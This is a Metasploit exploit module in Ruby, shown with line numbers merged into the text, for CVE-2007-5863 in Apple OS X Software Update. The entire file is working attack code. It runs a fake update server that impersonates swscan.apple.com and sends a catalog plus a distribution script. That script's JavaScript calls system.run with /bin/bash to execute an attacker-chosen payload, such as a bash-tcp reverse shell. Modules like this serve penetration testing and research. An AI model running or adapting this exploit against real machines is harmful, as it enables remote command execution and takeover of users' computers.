Path: blob/master/modules/exploits/osx/browser/software_update.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Apple OS X Software Update Command Execution',15'Description' => %q{16This module exploits a feature in the Distribution Packages,17which are used in the Apple Software Update mechanism. This feature18allows for arbitrary command execution through JavaScript. This exploit19provides the malicious update server. Requests must be redirected to20this server by other means for this exploit to work.21},22'Author' => [ 'Moritz Jodeit <moritz[at]jodeit.org>' ],23'License' => MSF_LICENSE,24'References' => [25['CVE', '2007-5863'],26['OSVDB', '40722'],27],28'Payload' => {29'BadChars' => "\x00",30'DisableNops' => true,31'Compat' =>32{33'PayloadType' => 'cmd cmd_bash',34'RequiredCmd' => 'generic perl ruby bash telnet bash-tcp',35}36},37'Platform' => 'osx',38'Targets' => [39[40'Automatic',41{42'Platform' => [ 'unix' ],43'Arch' => ARCH_CMD,44},45],46],47'DisclosureDate' => '2007-12-17',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),60OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])61]62)63end6465# Encode some characters using character entity references and escape any66# quotation characters, by splitting the string into multiple parts.67def encode_payload(payload)68encoded = payload.gsub(/[&<>"']/) do |s|69case s70when '&'71"&"72when '<'73"<"74when '>'75">"76when '"'77'"+\'"\'+"'78when '\''79"'"80end81end82return '"' + encoded + '"'83end8485# Generate the initial catalog file with references to the86# distribution script, which does the actual exploitation.87def generate_catalog(server)88languages = [89"", "Dutsch", "English", "French", "German", "Italian", "Japanese",90"Spanish", "da", "fi", "ko", "no", "pt", "sv", "zh_CN", "zh_TW"91]92productkey = rand_text_numeric(3) + "-" + rand_text_numeric(4)93distfile = rand_text_alpha(8) + ".dist"9495sucatalog = '<?xml version="1.0" encoding="UTF-8"?>'96sucatalog << '<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'97sucatalog << '<plist version="1.0">'98sucatalog << '<dict>'99sucatalog << '<key>Products</key><dict>'100sucatalog << "<key>#{productkey}</key><dict>"101sucatalog << '<key>Distributions</key><dict>'102103languages.each do |l|104sucatalog << "<key>#{l}</key><string>http://#{server}/#{distfile}</string>\n"105end106107sucatalog << '</dict></dict></dict></dict></plist>'108109return sucatalog110end111112# Generate distribution script, which calls our payload using JavaScript.113def generate_dist(payload)114func = rand_text_alpha(8)115116dist = '<?xml version="1.0" encoding="UTF-8"?>'117dist << "<installer-gui-script minSpecVersion='1'>"118dist << '<options allow-external-scripts = "yes"/>'119dist << "<choices-outline ui='SoftwareUpdate'>"120dist << "<line choice='su'/>"121dist << "</choices-outline>"122dist << "<choice id='su' visible ='#{func}()'/>"123dist << "<script>"124dist << "function #{func}() { system.run('/bin/bash', '-c', #{encode_payload(payload)}); }"125dist << "</script>"126dist << "</installer-gui-script>"127128return dist129end130131def on_request_uri(cli, request)132date = Time.now133server = "swscan.apple.com"134135header = {136'Content-Type' => 'text/plain',137'Last-Modified' => date,138'Date' => date,139}140141if request.uri =~ /\.sucatalog$/142print_status("Sending initial distribution package")143body = generate_catalog(server)144elsif request.uri =~ /\.dist$/145print_status("Sending distribution script")146return if ((p = regenerate_payload(cli)) == nil)147148body = generate_dist(p.encoded)149else150return151end152send_response(cli, body, header)153handler(cli)154end155end156157158